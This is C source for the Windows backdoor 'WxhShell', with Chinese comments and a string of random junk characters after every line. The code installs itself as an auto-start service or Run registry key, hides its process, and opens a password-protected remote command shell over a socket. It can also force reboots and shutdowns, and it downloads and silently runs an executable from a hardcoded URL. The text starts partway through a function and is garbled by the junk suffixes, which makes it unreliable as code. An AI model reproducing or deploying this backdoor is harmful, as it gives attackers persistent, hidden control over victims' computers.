    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o^W.53yX  
    if(Boot(SHUTDOWN)) ,j(S'Pw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T 3 <2ds  
    else { ;s?,QvE{r#  
    closesocket(wsh); tHV+#3h  
    ExitThread(0); yOO@v6jO)  
    } ,"5][RsOn  
    break; RMlx[nsq  
    } LAY~hF"  
  // 获取shell 1!;4I@W(I)  
  case 's': { 7X<#  
    CmdShell(wsh); Y'yGhpT~  
    closesocket(wsh); +NTC!/  
    ExitThread(0); M8${&&[;  
    break; t8.^YTI  
  } Bdm05}c@u  
  // 退出 cnB:bQQK8  
  case 'x': { b\p2yJ\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mD7kOOMY  
    CloseIt(wsh); ^00C"58A  
    break; #N'bhs  
    } !+ (H(,gI  
  // 离开 =-]NAj\  
  case 'q': { aSIoq}c(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S|]\q-qA&  
    closesocket(wsh); dg#w!etB  
    WSACleanup(); R%"'k<`#  
    exit(1); Cy6%f?j  
    break; A8 !&Y;d  
        } oB+Ek~{z]  
  } .V@3zzv\  
  } 814cCrr,o  
Bi7&yS5V  
  // 提示信息 QBjvbWoIG(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Q"~bP{F  
} >cH}sNHy  
  } 7 lu_E.Bv  
4wPP/`  
  return; ^e--4B9|  
} iN1_ T  
_Uhl4Mh  
// shell模块句柄 rC6@ ]  
int CmdShell(SOCKET sock) L,sFwOWY  
{ \5fvD8>H  
STARTUPINFO si; 0+NGFX \p  
ZeroMemory(&si,sizeof(si)); @4Lol2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,Bl_6ZaL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;0-R"c)-  
PROCESS_INFORMATION ProcessInfo; hbm #H7Y  
char cmdline[]="cmd"; d(C5i8d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e6Kyu*  
  return 0; QObHW[:F  
} 5ljEh -  
V`}u:t7r  
// 自身启动模式 ))I[@D1b  
int StartFromService(void) ak zKX}  
{ c]NZG n*  
typedef struct 1cD  
{ JvYs6u  
  DWORD ExitStatus; gnlU  
  DWORD PebBaseAddress; =lL)g"x X  
  DWORD AffinityMask; Tr, zV  
  DWORD BasePriority; 3[<D"0#},  
  ULONG UniqueProcessId; pzb`M'Z?C  
  ULONG InheritedFromUniqueProcessId; aVp-Ps|r  
}   PROCESS_BASIC_INFORMATION; ZUS06# t}  
m}'!W`<  
PROCNTQSIP NtQueryInformationProcess; ppnl bL^*  
lS?#(}a1)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Li9>RY+3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;<#=|eD2  
0a:@DOzT  
  HANDLE             hProcess; |d=GAW v  
  PROCESS_BASIC_INFORMATION pbi; ,%U\@*6=  
Y^eF(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5YLc4z*  
  if(NULL == hInst ) return 0; qfF2S  
|k]fY*z(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [<X ~m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4jC7>mE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =z\/xzAwX  
B^C 5?  
  if (!NtQueryInformationProcess) return 0; mt4X  
czH# ~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4c<\_\\ck  
  if(!hProcess) return 0; )\ J~KB4  
T1;>qgp4b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u56F;y  
1i;Cw/mr  
  CloseHandle(hProcess); p tlag&Z  
)1f.=QZN^;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AsR}qqG  
if(hProcess==NULL) return 0; Wz;@Rl|F  
y 7z)lBy\  
HMODULE hMod; %`lLX/4~  
char procName[255]; 2yVQqwQ m  
unsigned long cbNeeded; (V0KmNCW`  
t:n$9WB)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6uxF<  
xW58B  
  CloseHandle(hProcess); SDjJ?K  
omI"xx  
if(strstr(procName,"services")) return 1; // 以服务启动 |{La@X  
`t+;[G>ZE  
  return 0; // 注册表启动 FBa- gm<9  
} L$^)QxH7  
_O&P!hI  
// 主模块 hHgH'  
int StartWxhshell(LPSTR lpCmdLine) rVwW%&  
{ @/xdWN!,  
  SOCKET wsl; tv5N wM  
BOOL val=TRUE; wpt5'|I  
  int port=0; )lP(is FP  
  struct sockaddr_in door; Z<'iT%6+r  
S$/SFB$)~W  
  if(wscfg.ws_autoins) Install(); l@`n4U.Gwl  
{dlG3P='`f  
port=atoi(lpCmdLine); g\H~Y@'{  
2Hk21y\  
if(port<=0) port=wscfg.ws_port; $F6GCM3Cx  
gi+FL_8CzU  
  WSADATA data; !ZY1AhGZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y:k7eE"  
\/9O5`u*V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t-SZBNb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .e\PCf9v  
  door.sin_family = AF_INET; lDVgW}o@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^G "Qp8 "  
  door.sin_port = htons(port);  p4P"U  
MR zY<MD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yO@@-)$[y  
closesocket(wsl); &D&U!3~(  
return 1; Rp>%umDyL  
} j{@li1W@  
]ClqX;'weJ  
  if(listen(wsl,2) == INVALID_SOCKET) { y2nT)nL  
closesocket(wsl); ]'Gz~Z%>F  
return 1; D4*_/,}  
} rr2^sQ;_  
  Wxhshell(wsl); [@NW  
  WSACleanup(); Fe2t[y:8h  
 {IT xHt  
return 0; f]2;s#cu  
|#Q0UM|'Q  
} EmyE%$*T  
1w+)ne_&  
// 以NT服务方式启动 gFXz:!A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KK4rVb:-  
{ [Bj\h7 G  
DWORD   status = 0; w8F`RRHEE  
  DWORD   specificError = 0xfffffff; 'fZ\uMdTx  
Gsy'':u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^~s!*T)\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H-eHX3c7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NleMZ  
  serviceStatus.dwWin32ExitCode     = 0; 9 $^b^It  
  serviceStatus.dwServiceSpecificExitCode = 0; eL [.;_  
  serviceStatus.dwCheckPoint       = 0; $)6x3&]P  
  serviceStatus.dwWaitHint       = 0; ITD&w g  
L#fK ,r8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mNJCV8 <  
  if (hServiceStatusHandle==0) return; 6UU<:KH  
0JW =RW  
status = GetLastError(); }4?z<.V  
  if (status!=NO_ERROR) j%gle%_  
{ hb1eEn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !1l~'/r  
    serviceStatus.dwCheckPoint       = 0; I(b]V!mj:  
    serviceStatus.dwWaitHint       = 0; :g{ybTSEe  
    serviceStatus.dwWin32ExitCode     = status; >b8-v~o{  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]$U A5/a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K*M1$@5  
    return; wWM[Hus  
  } /$9We8  
W *2P+H%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zX6Q7Bc  
  serviceStatus.dwCheckPoint       = 0; 4r#4h4`y|  
  serviceStatus.dwWaitHint       = 0; "i&9RA! 1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TV/EC#48  
} BC#O.93`  
(~fv;}}v  
// 处理NT服务事件,比如:启动、停止 4ZkaH(a1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xm<|m#  
{ +]Ev  
switch(fdwControl) sAnb   
{ }(K1=cEaL  
case SERVICE_CONTROL_STOP: &d]@$4u$;  
  serviceStatus.dwWin32ExitCode = 0; w Ju9.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z}Um$'. =  
  serviceStatus.dwCheckPoint   = 0; (IIZvCek  
  serviceStatus.dwWaitHint     = 0; &g]s@S|%  
  { HE0m#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [EK@f,iM  
  } 83VFBY2q  
  return; R`,|08E  
case SERVICE_CONTROL_PAUSE: Q'YakEv >=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hfg ^z5  
  break;  u5Mg  
case SERVICE_CONTROL_CONTINUE: uvi&! )x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T/:6Z  
  break; H(Y1%@  
case SERVICE_CONTROL_INTERROGATE: T=CJUla  
  break; %eGI]!vf  
}; ? U =Mdw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >?.jN|  
} Lz!H@)-mr  
\uZ1Sl  
// 标准应用程序主函数 EXR6Vb,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u(8dsg R  
{ Hk$do`H-=Y  
UK)wV  
// 获取操作系统版本 Uy?X-"UR  
OsIsNt=GetOsVer(); [kMWsiZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U|8?$/*\  
|o@U L  
  // 从命令行安装 SAE'y2B*  
  if(strpbrk(lpCmdLine,"iI")) Install(); t ;fJ`.  
Q x&7Ceu"  
  // 下载执行文件 _>3#dk  
if(wscfg.ws_downexe) { $"va8,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qRq4PQ@  
  WinExec(wscfg.ws_filenam,SW_HIDE); En4!-pWHQ  
} A o@WTs9  
<4CqG4}Y  
if(!OsIsNt) { l< HnPR/  
// 如果时win9x,隐藏进程并且设置为注册表启动 /v.<h*hxWy  
HideProc(); !Z0S@]C  
StartWxhshell(lpCmdLine); )S}.QrG  
} Q]OR0-6<.  
else WkV0,_(P  
  if(StartFromService()) 6XnUs1O  
  // 以服务方式启动 o\fPZ`p-m~  
  StartServiceCtrlDispatcher(DispatchTable); RFq=`/>dG  
else X.ZG-TC  
  // 普通方式启动 Ml/K~H tN  
  StartWxhshell(lpCmdLine); r4 qs!(  
Z_>:p^id  
return 0; ->Fsmb+R  
} Ox@$ }  
!E,|EdIr  
7/K'nA  
w }8=sw  
=========================================== l9 n$cv^  
F2Gg_u@7M  
Vddod  
XANJA  
sXYXBX[  
5C9 .h:c4y  
" rS+ >oP}  
olm'_ {{  
#include <stdio.h> 'a$/ !~X  
#include <string.h> |)mUO:*  
#include <windows.h> M0hR]4T  
#include <winsock2.h> g!i45]6[Nw  
#include <winsvc.h> Z% ]LZ/O8  
#include <urlmon.h> %}unlSTPP  
}H/94]~tH  
#pragma comment (lib, "Ws2_32.lib") e0IGx]5i  
#pragma comment (lib, "urlmon.lib") lB7/oa1]>  
iz+,,UH  
#define MAX_USER   100 // 最大客户端连接数 }4Q3S1|U  
#define BUF_SOCK   200 // sock buffer X@/X65=[  
#define KEY_BUFF   255 // 输入 buffer Z1p%6f`  
w9Nk8OsL  
#define REBOOT     0   // 重启 &SPIu,  
#define SHUTDOWN   1   // 关机 Ga` 8oY+~  
bPMf='F{r  
#define DEF_PORT   5000 // 监听端口 SQN{/")T  
D'Uc?2X,&  
#define REG_LEN     16   // 注册表键长度 SCjVzvG$yg  
#define SVC_LEN     80   // NT服务名长度 2o 7o~r  
xXJzE|)1h!  
// 从dll定义API M >i *e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u3DFgl3-7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g@ ]1H41  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }a%Wu 7D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kmt+E'^]  
4$4Tx9C  
// wxhshell配置信息 ca[*#xiJ  
struct WSCFG { fT=ZiHJ3Gu  
  int ws_port;         // 监听端口 I/gfsyfA  
  char ws_passstr[REG_LEN]; // 口令 W k"_lJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no |aj]]l[@S  
  char ws_regname[REG_LEN]; // 注册表键名 H~:g =Zw  
  char ws_svcname[REG_LEN]; // 服务名 V'9OGn2v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j`_Z`eG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e.(RhajB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~8'HX*B]z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !Wy&+H*0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mn(MgJKQ\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ANR611-a  
)P|/<>z  
}; V1A7hRjxvG  
&m{~4]qWpM  
// default Wxhshell configuration #XNURj  
struct WSCFG wscfg={DEF_PORT, bHzZ4i  
    "xuhuanlingzhe", "AIS6%,  
    1, d8WEsQ+)A  
    "Wxhshell", & fnfuU$   
    "Wxhshell", |r4&@)  
            "WxhShell Service", ,pW^>J  
    "Wrsky Windows CmdShell Service", VotI5O $  
    "Please Input Your Password: ", \;+b1  
  1, (D+%*ax  
  "http://www.wrsky.com/wxhshell.exe", s yb$%  
  "Wxhshell.exe" p4K 8L'nZ  
    }; }@53*h i(  
2O2d*Ld>  
// 消息定义模块 (unJwh{7Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YLV$#a3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D~TK'&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oJI+c+e"  
char *msg_ws_ext="\n\rExit."; W\e!rq  
char *msg_ws_end="\n\rQuit."; t2qWB[r  
char *msg_ws_boot="\n\rReboot..."; :k~ p=ko  
char *msg_ws_poff="\n\rShutdown..."; w!Z,3Yc)  
char *msg_ws_down="\n\rSave to "; /|<0,ozoJ  
@2\UjEo~  
char *msg_ws_err="\n\rErr!"; ">nFzg?Y  
char *msg_ws_ok="\n\rOK!"; 0JhUncx  
/!y3ZzL  
char ExeFile[MAX_PATH]; Fd._D"  
int nUser = 0; H$&P=\8n  
HANDLE handles[MAX_USER]; By<~h/uJ  
int OsIsNt; ]O~/k~f  
x6|QTO  
SERVICE_STATUS       serviceStatus; ?!bWUVC)_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  M|>-q  
p\xsW "=8q  
// 函数声明 ,UD5>Ai  
int Install(void); /ZSdY_%s  
int Uninstall(void); u#Uc6? E  
int DownloadFile(char *sURL, SOCKET wsh); \BSPv]d  
int Boot(int flag); p+{*w7?8"[  
void HideProc(void); @Tsdgx8  
int GetOsVer(void); tgu fU  
int Wxhshell(SOCKET wsl); `y.i(~^1  
void TalkWithClient(void *cs); <Q.-WV]Z  
int CmdShell(SOCKET sock); `=8G?3  
int StartFromService(void); U9RpHh`  
int StartWxhshell(LPSTR lpCmdLine); jLBwPI_g  
o5NrDDH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); );^{;fLy%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VF9-&HuC  
\0l"9 B.  
// 数据结构和表定义 3<6P^p=I  
SERVICE_TABLE_ENTRY DispatchTable[] = (' i_Xe  
{ 79U 7<]-!  
{wscfg.ws_svcname, NTServiceMain}, McU]U 9:z  
{NULL, NULL} ~|e H8@o  
}; 0y#TGM|0D  
f=40_5a6  
// 自我安装 J_XbtCmt  
int Install(void) f&Meiu+  
{ v=+>ids  
  char svExeFile[MAX_PATH]; *\[GfTL  
  HKEY key; OH~I+=}.  
  strcpy(svExeFile,ExeFile); [m]O^Hp{{  
[zl"G^z  
// 如果是win9x系统,修改注册表设为自启动 PPNZ(j   
if(!OsIsNt) { 65pC#$F<x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uvGFo)9q3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4buzx&  
  RegCloseKey(key); QBT_H"[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NSAp.m   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =[^_x+x hE  
  RegCloseKey(key); |Oe$)(`|h  
  return 0; L|w}#|-  
    } MbC&u:@ "v  
  } {7o|*M  
} [2ZZPY9?Q  
else { c::Vh  
ekuRGG  
// 如果是NT以上系统,安装为系统服务 ` _]tN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g ??@~\Ov  
if (schSCManager!=0) p:^;A/D  
{ 5nG$6Hw  
  SC_HANDLE schService = CreateService 7o64|@'j  
  ( 9=;ETLL "  
  schSCManager, ,u<aKae  
  wscfg.ws_svcname, E+E.z?>S  
  wscfg.ws_svcdisp, |Ok1E  
  SERVICE_ALL_ACCESS, ;+]GyDgVq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JxLD}$I  
  SERVICE_AUTO_START, Nc:>]  
  SERVICE_ERROR_NORMAL, \9dC z;  
  svExeFile, dD"o~iEC  
  NULL, (g]J hG  
  NULL, uEkUK|  
  NULL, :ug j+  
  NULL, qnR{'d  
  NULL Mo+HLN  
  ); HzF]hm,  
  if (schService!=0) ]w|,n2DG  
  { c1p*}T  
  CloseServiceHandle(schService); |7l*  
  CloseServiceHandle(schSCManager); rF5O?<(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nXqZkZE\  
  strcat(svExeFile,wscfg.ws_svcname); hSD uByoi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { slMWk;fmD}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `ynD-_fTN  
  RegCloseKey(key); Y: XxTa*  
  return 0; ,~- dZs  
    } skP2IMa75  
  } g4^df%)&  
  CloseServiceHandle(schSCManager); N!F ;!  
} t^qPQ;"=,  
} Af>Ho"i  
`$D2w|  
return 1; X6]eQ PN2  
} gyW##M@{  
n/5)}( }K  
// 自我卸载 HLcK d`$/  
int Uninstall(void) &Q"Ox{~W  
{ '\X<+Sm'  
  HKEY key; ef=LPCi?  
VZ8HnNAbX  
if(!OsIsNt) { Ni[2 p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s9Aq-N  
  RegDeleteValue(key,wscfg.ws_regname); fu95-)M  
  RegCloseKey(key); 0@ 9em~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 64OgE!  
  RegDeleteValue(key,wscfg.ws_regname); Vee`q.  
  RegCloseKey(key); D=nuK25  
  return 0; 'WG%O7s.  
  } 4X2/n  
} ~Xg@,?Zr  
} qwU,D6  
else { V{[vIt*  
.q1OT>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?qt>;o|Ue  
if (schSCManager!=0) ,IW$XD  
{ I2=?H <  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'i|z>si[*  
  if (schService!=0) JYB<};,  
  { ^L(}cO  
  if(DeleteService(schService)!=0) { H}QOoXWkg  
  CloseServiceHandle(schService); FU|c[u|z  
  CloseServiceHandle(schSCManager); Zv*Z^; X9  
  return 0; MKYXYR  
  } OIa =$l43C  
  CloseServiceHandle(schService); 6XO%l0dC.  
  } ;m3SlP{F  
  CloseServiceHandle(schSCManager); Q2)z1'Wv  
} 7)NQK9~  
} q8 ;WHfGf  
. 4"9o%  
return 1; ruLi "d  
} KF|<A@V  
]3C&l+m$ot  
// 从指定url下载文件 X'Dg= |  
int DownloadFile(char *sURL, SOCKET wsh) EF?@f{YY$n  
{ EwcN$Ma  
  HRESULT hr; PYl(~Vac  
char seps[]= "/"; W,i SN}  
char *token; &LO<!WKQ  
char *file; (ROurq"  
char myURL[MAX_PATH]; |:s 4#3  
char myFILE[MAX_PATH]; A`4j=OF\  
:mU,g|~55  
strcpy(myURL,sURL); 9i8D_[  
  token=strtok(myURL,seps); D84`#Xbi  
  while(token!=NULL) U<**Est  
  { `<h}Ygo>k/  
    file=token; \5$N> 2kO  
  token=strtok(NULL,seps); _W4i?Bde  
  } \$2E  
Kv[,!P"Y  
GetCurrentDirectory(MAX_PATH,myFILE); qHfs*MBJ%  
strcat(myFILE, "\\"); B1oy,'  
strcat(myFILE, file); dwKre#4F  
  send(wsh,myFILE,strlen(myFILE),0); sY=fS2b#)  
send(wsh,"...",3,0); _'k?9eN`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k, )7v  
  if(hr==S_OK) h5G>FPM-=  
return 0; Y B@\"|}  
else :Xv3< rS<  
return 1; mfO:#]K  
}*m:zD@8$  
} 9N|O*h1;u  
c xdhG"  
// 系统电源模块 n`T 4aDm  
int Boot(int flag) 2jf-vWV_  
{ (u-i{<   
  HANDLE hToken; nn"!x|c  
  TOKEN_PRIVILEGES tkp; SeBbI&Ju  
:<w3.(Z  
  if(OsIsNt) { <L@0w8i`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v6 DN:!&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ` !HGM>  
    tkp.PrivilegeCount = 1; LMWcF'l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9}Tf9>qP>M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '2a}1?  
if(flag==REBOOT) { t$8f:*6(*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _cx}e!BK#  
  return 0; 12aAO|]/~  
} v9Oyboh(y  
else { MN|y5w}$u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Re('7m h~  
  return 0; eP-q[U?$n  
} Z.$ncP0s  
  } ehI*cf({  
  else { o|Obl@CSBD  
if(flag==REBOOT) { 0 ]U ;5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AZxx%6  
  return 0; |HJdpY>Uu  
} "g\  
else { ZVJbpn<lo)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Z iyT$p  
  return 0;  Z $Ynar  
} V< 0gD?Kx  
} 9ulJZ\cQ  
x&tad+T  
return 1; _wKFT>  
} eb2~$ ,$  
Q3\j4;jI(  
// win9x进程隐藏模块 }8p;w T!  
void HideProc(void) RG[3LX/  
{ BV$lMLD{r  
\&]'GsfF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,2DKphh  
  if ( hKernel != NULL ) Ttb @98  
  { =U!'v X d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j/{F#auI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oA}&o_Q%  
    FreeLibrary(hKernel); gzvEy^X  
  } 0tm%Kd  
BS>|M}G)r  
return; z)=D&\HX  
} /OK.n3Tt  
R:x4j#(  
// 获取操作系统版本 *Eu ca~%=  
int GetOsVer(void) ,<%Y.x%4z[  
{ ` #A&v  
  OSVERSIONINFO winfo; Axhe9!Fm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }XWic88!~  
  GetVersionEx(&winfo); /}-]n81m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {7[^L1  
  return 1; n`? j. s  
  else ..3TB=Z#  
  return 0; MQ5#6 vJ  
} x"K<@mR5G  
_\>?.gg$  
// 客户端句柄模块 NQ !t`  
int Wxhshell(SOCKET wsl) ;#I(ucB<  
{ -RVwPY  
  SOCKET wsh; "2}04b|"  
  struct sockaddr_in client; ;FQAL@"Yj  
  DWORD myID; *qj @y'1\  
4Z"D F)+}  
  while(nUser<MAX_USER) !m^;Apuy  
{ s\1h=V)!H  
  int nSize=sizeof(client); 7gfNe kr~W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q-eC=!#}  
  if(wsh==INVALID_SOCKET) return 1; k/=J<?h0  
.%<oy"_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X{P_HCd  
if(handles[nUser]==0) ez&v"J  
  closesocket(wsh); Kjc"K36{L  
else \eH~1@\S  
  nUser++; )t9<cJ=  
  } m:d P,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a[]=*(AZI  
<s2IC_f<+  
  return 0; Bjq1za  
} O9oYuC:q  
t@QaxZIlt;  
// 关闭 socket 6E{HNPMb>  
void CloseIt(SOCKET wsh) IUAx*R  
{ X,:^})]  
closesocket(wsh); @D^y<7(  
nUser--; @bOhnd#W  
ExitThread(0); EA|*|o4)  
} %RG kXOgp  
cjHo?m'  
// 客户端请求句柄 QUVwO m  
void TalkWithClient(void *cs) q6f+tdg=  
{ 3h aYb`  
W~aVwO'(  
  SOCKET wsh=(SOCKET)cs; ^]( sCE7  
  char pwd[SVC_LEN]; Zk__CgS#  
  char cmd[KEY_BUFF]; /T]2ZX>  
char chr[1]; H ifKa/}P8  
int i,j; qxf!]jm  
EeG7 %S 5(  
  while (nUser < MAX_USER) { F?\XhoJ3G  
4Pe%*WTX  
if(wscfg.ws_passstr) { x5YW6R.<t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $[T^ S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' 7+x,TszI  
  //ZeroMemory(pwd,KEY_BUFF); t*m04* }  
      i=0; CeSr~Ikg|  
  while(i<SVC_LEN) { ynvU$}w ~'  
Hgu$)yhlj  
  // 设置超时 f <fa +fB  
  fd_set FdRead; %B}Q.'  
  struct timeval TimeOut; ~ P"@^cq  
  FD_ZERO(&FdRead); 6O bB/*h  
  FD_SET(wsh,&FdRead); {mrTpw  
  TimeOut.tv_sec=8; >8D!K0?E  
  TimeOut.tv_usec=0; L3GA]TIf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E^rKS&P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d&4 ve Lu  
M(KsLu1   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fz\C$[+u  
  pwd=chr[0]; K#_&}C^-jY  
  if(chr[0]==0xd || chr[0]==0xa) { <{ GpAf8-  
  pwd=0; _VGAh:v  
  break; :JH#*5%gQ:  
  } de1cl<  
  i++; Ck d@|  
    } 7DDd 1"jE  
ayfR{RYi  
  // 如果是非法用户,关闭 socket ~7+7{9g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GPz0qK  
} _v bCC7Bf8  
Y<-h#_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FeoI+K A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C]414Ibi  
%V71W3>6WS  
while(1) { !TvNT}4Z  
H )hO/1 m  
  ZeroMemory(cmd,KEY_BUFF); L[lX?g?Ob  
g"ha1<y<  
      // 自动支持客户端 telnet标准   r*HbglB  
  j=0; #%N v\ g;  
  while(j<KEY_BUFF) { p4GhT~)l:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z^E>)!t  
  cmd[j]=chr[0]; qmqWMLfC  
  if(chr[0]==0xa || chr[0]==0xd) { 6!zBLIYFI  
  cmd[j]=0; CX?q%o2b  
  break; i)y8MlC{  
  } w^z5O6   
  j++; i0Ejo;dB  
    } ]<L(r,@,  
d-c<dS+R  
  // 下载文件 /N= }wC  
  if(strstr(cmd,"http://")) { ?C)a0>L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fn.KZ  
  if(DownloadFile(cmd,wsh)) yJQ>u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OL]P(HRm]~  
